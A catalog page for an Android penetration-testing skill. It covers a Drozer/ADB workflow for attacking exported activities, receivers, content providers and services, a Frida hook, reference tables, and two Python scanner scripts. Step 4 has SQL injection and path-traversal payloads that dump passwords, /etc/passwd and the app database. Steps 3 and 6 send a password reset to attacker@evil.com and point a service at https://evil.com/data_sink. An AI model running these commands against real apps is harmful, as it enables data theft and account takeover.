Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-SkillsFramework mappings
MITRE ATT&CK
When to Use
Use this skill when:
- Assessing Android app exported activities, services, receivers, and content providers
- Testing for intent injection and unauthorized component invocation
- Evaluating broadcast receiver security for sensitive data exposure
- Performing IPC-focused penetration testing on Android applications
Do not use on production devices without explicit authorization.
Prerequisites
- Rooted Android device or emulator with ADB
- Drozer agent installed on target device (
drozer agent.apk) - Drozer console on host (
pip install drozer) - Target APK decompiled with apktool for AndroidManifest.xml analysis
- Frida for runtime intent monitoring
Workflow
Step 1: Enumerate Exported Components
# Using Drozer
drozer console connect
run app.package.info -a com.target.app
run app.package.attacksurface com.target.app
# Output shows:
# X activities exported
# X broadcast receivers exported
# X content providers exported
# X services exported
# List exported activities
run app.activity.info -a com.target.app
# List exported services
run app.service.info -a com.target.app
# List exported receivers
run app.broadcast.info -a com.target.app
# List content providers
run app.provider.info -a com.target.appStep 2: Test Exported Activities
# Launch exported activities directly
run app.activity.start --component com.target.app com.target.app.AdminActivity
# Launch with intent extras
run app.activity.start --component com.target.app com.target.app.ProfileActivity \
--extra string user_id 1337
# Test intent injection via data URI
adb shell am start -a android.intent.action.VIEW \
-d "content://com.target.app/users/admin" com.target.app
# If admin activity opens without auth, report as authorization bypassStep 3: Test Broadcast Receivers
# Send broadcast to exported receivers
run app.broadcast.send --action com.target.app.PROCESS_PAYMENT \
--extra string amount "0.01" --extra string recipient "attacker"
# Sniff broadcasts for sensitive data
run app.broadcast.sniff --action com.target.app.USER_LOGIN
# Via ADB
adb shell am broadcast -a com.target.app.RESET_PASSWORD \
--es email "attacker@evil.com"Step 4: Test Content Providers
# Query content providers for data leakage
run app.provider.query content://com.target.app.provider/users
run app.provider.query content://com.target.app.provider/users --projection "password"
# Test SQL injection in content providers
run app.provider.query content://com.target.app.provider/users \
--selection "1=1) UNION SELECT username,password FROM users--"
# Test path traversal
run app.provider.read content://com.target.app.provider/../../etc/passwd
run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db
# Find injectable providers
run scanner.provider.injection -a com.target.app
run scanner.provider.traversal -a com.target.appStep 5: Test Pending Intent Vulnerabilities
// Monitor PendingIntent creation via Frida
Java.perform(function() {
var PendingIntent = Java.use("android.app.PendingIntent");
PendingIntent.getActivity.overload("android.content.Context", "int",
"android.content.Intent", "int").implementation =
function(context, requestCode, intent, flags) {
console.log("[PendingIntent] getActivity:");
console.log(" Intent: " + intent.toString());
console.log(" Flags: " + flags);
// Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)
var FLAG_MUTABLE = 0x02000000;
if ((flags & FLAG_MUTABLE) !== 0) {
console.log(" [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver");
}
return this.getActivity(context, requestCode, intent, flags);
};
});Step 6: Test Service Binding
# Attempt to bind to exported services
run app.service.start --action com.target.app.SYNC_SERVICE \
--extra string server "https://evil.com/data_sink"
run app.service.send com.target.app com.target.app.MessengerService \
--msg 1 0 0 --extra string command "dump_database" --bundle-as-objKey Concepts
| Term | Definition |
|---|---|
| Exported Component | Android component (activity/service/receiver/provider) accessible to other apps on the device |
| Intent | Messaging object for requesting actions from other components; can be explicit (target specified) or implicit (action-based) |
| Pending Intent | Token wrapping an intent for future execution by another app; mutable PendingIntents can be modified by recipients |
| Content Provider | Component for structured data sharing between apps; SQL injection target if query parameters are not sanitized |
| Broadcast Receiver | Component receiving system or app broadcasts; exported receivers can be triggered by any app |
Tools & Systems
- Drozer: Android security assessment framework for IPC testing with pre-built modules
- ADB: Command-line tool for invoking intents, starting activities, and sending broadcasts
- Frida: Runtime monitoring of intent handling and PendingIntent creation
- apktool: APK decompilation for AndroidManifest.xml analysis of component export status
- Intent Fuzzer: Automated tool for fuzzing intent parameters across exported components
Common Pitfalls
- android:exported default changed in API 31: Components with intent filters default to exported=true below API 31 but exported=false at API 31+. Check targetSdkVersion.
- Permission-protected components: An exported component may still require a permission. Test with and without the required permission.
- Implicit intents vs explicit: Only implicit intents (action-based) are interceptable by other apps. Explicit intents (specifying target) are secure.
- Custom permissions: Apps can define custom permissions with different protection levels (normal, dangerous, signature). Signature-level permissions are only grantable to apps signed with the same certificate.
Source materials
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 3
api-reference.md1.8 KB
API Reference: Testing Android Intents for Vulnerabilities
Drozer Modules
| Module | Description |
|---|---|
app.package.attacksurface |
Enumerate exported components |
app.activity.info |
List exported activities |
app.service.info |
List exported services |
app.broadcast.info |
List exported receivers |
app.provider.info |
List content providers |
app.provider.query |
Query content provider URI |
scanner.provider.injection |
Test for SQL injection |
scanner.provider.traversal |
Test for path traversal |
app.broadcast.send |
Send broadcast intent |
app.activity.start |
Start exported activity |
ADB Intent Commands
| Command | Description |
|---|---|
adb shell am start -n <pkg>/<activity> |
Start activity |
adb shell am broadcast -a <action> |
Send broadcast |
adb shell am startservice -n <pkg>/<svc> |
Start service |
adb shell content query --uri <uri> |
Query provider |
adb shell dumpsys package <pkg> |
Package info |
Component Types
| Type | Risk | Test |
|---|---|---|
| Exported Activity | Auth bypass | Direct launch without intent filters |
| Content Provider | Data leakage, SQLi | Query with modified URIs |
| Broadcast Receiver | Action spoofing | Send crafted broadcasts |
| Service | Unauthorized actions | Bind/start with extras |
| PendingIntent | Hijacking | Check FLAG_MUTABLE |
Python Libraries
| Library | Version | Purpose |
|---|---|---|
subprocess |
stdlib | Execute adb/drozer CLI |
re |
stdlib | Parse command output |
json |
stdlib | Report generation |
References
- Drozer: https://github.com/WithSecureLabs/drozer
- OWASP MASTG: https://mas.owasp.org/MASTG/
- Android IPC: https://developer.android.com/guide/components/intents-filters
standards.md1.0 KB
Standards Reference: Android Intent Vulnerabilities
OWASP Mobile Top 10 2024
| ID | Risk | Intent Relevance |
|---|---|---|
| M4 | Insufficient Input/Output Validation | Intent parameter injection |
| M8 | Security Misconfiguration | Exported components without permission guards |
OWASP MASVS v2.0 - MASVS-PLATFORM
| Control | Test |
|---|---|
| MASVS-PLATFORM-1 | Verify exported components require appropriate permissions |
| MASVS-PLATFORM-2 | Verify intent data is validated before processing |
CWE Mappings
| CWE | Title | Vector |
|---|---|---|
| CWE-926 | Improper Export of Android Application Components | Exported without permission |
| CWE-927 | Use of Implicit Intent for Sensitive Communication | Sensitive data in implicit intents |
| CWE-925 | Improper Verification of Intent by Broadcast Receiver | Missing sender verification |
| CWE-89 | SQL Injection | Content provider query injection |
| CWE-22 | Path Traversal | Content provider path traversal |
workflows.md1.0 KB
Workflows: Android Intent Vulnerability Testing
Workflow 1: IPC Security Assessment
[Decompile APK] --> [Parse AndroidManifest] --> [Enumerate exported components]
|
+------------------+------------------+
| | | |
[Activities] [Services] [Receivers] [Providers]
[Direct launch] [Bind/Start] [Trigger] [Query/Inject]
[Auth bypass?] [Data exfil?] [Sniff?] [SQLi? Traversal?]
| | | |
+------------------+------------------+
|
[PendingIntent audit]
[Report findings]Scripts 2
agent.py6.7 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for testing Android intents for vulnerabilities.
Uses ADB and Drozer to enumerate exported components, test
intent injection, content provider SQL injection, broadcast
receiver abuse, and pending intent hijacking vulnerabilities.
"""
import json
import subprocess
import re
import sys
from pathlib import Path
from datetime import datetime
class AndroidIntentTestAgent:
"""Tests Android app IPC through intents for security flaws."""
def __init__(self, package_name, output_dir="./android_intent_test"):
self.package = package_name
self.output_dir = Path(output_dir)
self.output_dir.mkdir(parents=True, exist_ok=True)
self.findings = []
def _adb(self, args, timeout=15):
cmd = ["adb", "shell"] + args
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
return result.stdout.strip(), result.returncode
except (FileNotFoundError, subprocess.TimeoutExpired):
return "", -1
def _drozer(self, module, args=""):
cmd_str = f"run {module} -a {self.package} {args}".strip()
cmd = ["drozer", "console", "connect", "-c", cmd_str]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
return result.stdout.strip()
except (FileNotFoundError, subprocess.TimeoutExpired):
return ""
def enumerate_attack_surface(self):
"""Enumerate exported components via Drozer."""
output = self._drozer("app.package.attacksurface")
surface = {"activities": 0, "services": 0, "receivers": 0, "providers": 0}
for m in re.finditer(r"(\d+)\s+(activities|broadcast receivers|content providers|services)\s+exported", output):
count = int(m.group(1))
comp_type = m.group(2)
if "activities" in comp_type:
surface["activities"] = count
elif "services" in comp_type:
surface["services"] = count
elif "receivers" in comp_type:
surface["receivers"] = count
elif "providers" in comp_type:
surface["providers"] = count
total = sum(surface.values())
if total > 0:
self.findings.append({
"severity": "info",
"type": "Attack Surface",
"detail": f"{total} exported components found",
"breakdown": surface,
})
return surface
def list_exported_activities(self):
"""List exported activities."""
output = self._drozer("app.activity.info")
activities = []
for m in re.finditer(r"([\w.]+/[\w.$]+)", output):
activities.append(m.group(1))
return activities
def test_activity_access(self, activity_name):
"""Test if an exported activity is accessible without auth."""
output, rc = self._adb(["am", "start", "-n", f"{self.package}/{activity_name}"])
accessible = "Error" not in output and rc == 0
if accessible:
self.findings.append({
"severity": "high",
"type": "Exported Activity Access",
"detail": f"Activity {activity_name} accessible without authentication",
})
return {"activity": activity_name, "accessible": accessible, "output": output[:200]}
def test_content_provider_query(self, uri):
"""Test content provider for data leakage."""
output = self._drozer("app.provider.query", uri)
has_data = bool(output) and "No results" not in output and "error" not in output.lower()
if has_data:
self.findings.append({
"severity": "high",
"type": "Content Provider Data Leakage",
"detail": f"Data accessible via {uri}",
})
return {"uri": uri, "has_data": has_data, "preview": output[:300]}
def test_sql_injection(self, uri):
"""Test content provider for SQL injection."""
output = self._drozer("scanner.provider.injection")
injectable = "Injectable" in output or "injection" in output.lower()
if injectable:
self.findings.append({
"severity": "critical",
"type": "Content Provider SQL Injection",
"detail": f"SQL injection possible in {self.package}",
})
return {"package": self.package, "injectable": injectable}
def test_path_traversal(self):
"""Test content providers for path traversal."""
output = self._drozer("scanner.provider.traversal")
vulnerable = "Vulnerable" in output or "traversal" in output.lower()
if vulnerable:
self.findings.append({
"severity": "critical",
"type": "Content Provider Path Traversal",
"detail": f"Path traversal in {self.package}",
})
return {"vulnerable": vulnerable}
def send_broadcast(self, action, extras=None):
"""Send broadcast to test exported receivers."""
cmd = ["am", "broadcast", "-a", action, "-p", self.package]
if extras:
for key, val in extras.items():
cmd.extend(["--es", key, val])
output, rc = self._adb(cmd)
return {"action": action, "result": output[:200], "returncode": rc}
def check_debuggable(self):
"""Check if app is debuggable."""
output, _ = self._adb(["run-as", self.package, "id"])
debuggable = "uid=" in output
if debuggable:
self.findings.append({
"severity": "high",
"type": "Debuggable Application",
"detail": f"{self.package} is debuggable",
})
return debuggable
def generate_report(self):
surface = self.enumerate_attack_surface()
activities = self.list_exported_activities()
self.check_debuggable()
self.test_sql_injection("")
self.test_path_traversal()
report = {
"report_date": datetime.utcnow().isoformat(),
"package": self.package,
"attack_surface": surface,
"exported_activities": activities,
"findings": self.findings,
"total_findings": len(self.findings),
}
out = self.output_dir / "android_intent_report.json"
with open(out, "w") as f:
json.dump(report, f, indent=2)
print(json.dumps(report, indent=2))
return report
def main():
if len(sys.argv) < 2:
print("Usage: agent.py <package_name>")
sys.exit(1)
agent = AndroidIntentTestAgent(sys.argv[1])
agent.generate_report()
if __name__ == "__main__":
main()
process.py7.4 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
Android Intent Vulnerability Scanner
Parses AndroidManifest.xml to identify exported components and generate
Drozer/ADB test commands for IPC security assessment.
Usage:
python process.py --manifest AndroidManifest.xml [--package com.target.app] [--output report.json]
"""
import argparse
import json
import sys
import xml.etree.ElementTree as ET
from datetime import datetime
from pathlib import Path
def parse_manifest(manifest_path: str) -> dict:
"""Parse AndroidManifest.xml for exported components."""
tree = ET.parse(manifest_path)
root = tree.getroot()
ns = {"android": "http://schemas.android.com/apk/res/android"}
package = root.get("package", "unknown")
target_sdk = ""
for sdk in root.findall(".//uses-sdk"):
target_sdk = sdk.get(f"{{{ns['android']}}}targetSdkVersion", "unknown")
components = {"activities": [], "services": [], "receivers": [], "providers": []}
for comp_type, tag in [("activities", "activity"), ("services", "service"),
("receivers", "receiver"), ("providers", "provider")]:
for elem in root.findall(f".//{tag}"):
name = elem.get(f"{{{ns['android']}}}name", "")
exported = elem.get(f"{{{ns['android']}}}exported", "")
permission = elem.get(f"{{{ns['android']}}}permission", "")
has_intent_filter = len(elem.findall("intent-filter")) > 0
# Determine effective export status
if exported == "true":
is_exported = True
elif exported == "false":
is_exported = False
else:
is_exported = has_intent_filter # Default: exported if has intent-filter (pre API 31)
if is_exported:
component = {
"name": name,
"exported": True,
"permission": permission,
"has_intent_filter": has_intent_filter,
"protected": bool(permission),
}
# Get intent filter actions
actions = []
for intent_filter in elem.findall("intent-filter"):
for action in intent_filter.findall("action"):
actions.append(action.get(f"{{{ns['android']}}}name", ""))
component["actions"] = actions
# Provider-specific attributes
if tag == "provider":
component["authorities"] = elem.get(f"{{{ns['android']}}}authorities", "")
component["read_permission"] = elem.get(f"{{{ns['android']}}}readPermission", "")
component["write_permission"] = elem.get(f"{{{ns['android']}}}writePermission", "")
components[comp_type].append(component)
return {"package": package, "target_sdk": target_sdk, "components": components}
def generate_test_commands(parsed: dict) -> list:
"""Generate Drozer and ADB test commands."""
commands = []
pkg = parsed["package"]
for activity in parsed["components"]["activities"]:
commands.append({
"component": activity["name"],
"type": "activity",
"tool": "drozer",
"command": f'run app.activity.start --component {pkg} {activity["name"]}',
"risk": "HIGH" if not activity["protected"] else "LOW",
})
for receiver in parsed["components"]["receivers"]:
for action in receiver.get("actions", []):
commands.append({
"component": receiver["name"],
"type": "receiver",
"tool": "adb",
"command": f'adb shell am broadcast -a {action} -n {pkg}/{receiver["name"]}',
"risk": "HIGH" if not receiver["protected"] else "LOW",
})
for provider in parsed["components"]["providers"]:
auth = provider.get("authorities", "")
if auth:
commands.append({
"component": provider["name"],
"type": "provider_query",
"tool": "drozer",
"command": f'run app.provider.query content://{auth}/',
"risk": "CRITICAL" if not provider.get("read_permission") else "MEDIUM",
})
commands.append({
"component": provider["name"],
"type": "provider_injection",
"tool": "drozer",
"command": f'run scanner.provider.injection -a {pkg}',
"risk": "CRITICAL",
})
return commands
def assess_findings(parsed: dict) -> list:
"""Assess security of exported components."""
findings = []
components = parsed["components"]
for comp_type, items in components.items():
for item in items:
if not item.get("protected"):
findings.append({
"component": item["name"],
"type": comp_type,
"issue": f"Exported {comp_type[:-1]} without permission protection",
"severity": "HIGH" if comp_type in ("providers", "receivers") else "MEDIUM",
"owasp_mobile": "M8",
"cwe": "CWE-926",
})
# Check for sensitive-looking unprotected components
sensitive_keywords = ["admin", "debug", "internal", "settings", "config", "payment", "auth"]
for comp_type, items in components.items():
for item in items:
name_lower = item["name"].lower()
if any(kw in name_lower for kw in sensitive_keywords) and not item.get("protected"):
findings.append({
"component": item["name"],
"type": comp_type,
"issue": f"Sensitive component '{item['name']}' exported without protection",
"severity": "CRITICAL",
"owasp_mobile": "M8",
"cwe": "CWE-926",
})
return findings
def main():
parser = argparse.ArgumentParser(description="Android Intent Vulnerability Scanner")
parser.add_argument("--manifest", required=True, help="AndroidManifest.xml path")
parser.add_argument("--output", default="intent_scan.json", help="Output report")
args = parser.parse_args()
if not Path(args.manifest).exists():
print(f"[-] Not found: {args.manifest}")
sys.exit(1)
parsed = parse_manifest(args.manifest)
commands = generate_test_commands(parsed)
findings = assess_findings(parsed)
total_exported = sum(len(v) for v in parsed["components"].values())
report = {
"scan": {"manifest": args.manifest, "package": parsed["package"],
"target_sdk": parsed["target_sdk"], "date": datetime.now().isoformat()},
"attack_surface": {
"total_exported": total_exported,
"activities": len(parsed["components"]["activities"]),
"services": len(parsed["components"]["services"]),
"receivers": len(parsed["components"]["receivers"]),
"providers": len(parsed["components"]["providers"]),
},
"findings": findings,
"test_commands": commands,
}
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(f"[+] Package: {parsed['package']}")
print(f"[+] Exported components: {total_exported}")
print(f"[+] Findings: {len(findings)}")
print(f"[+] Test commands generated: {len(commands)}")
print(f"[+] Report saved: {args.output}")
if __name__ == "__main__":
main()
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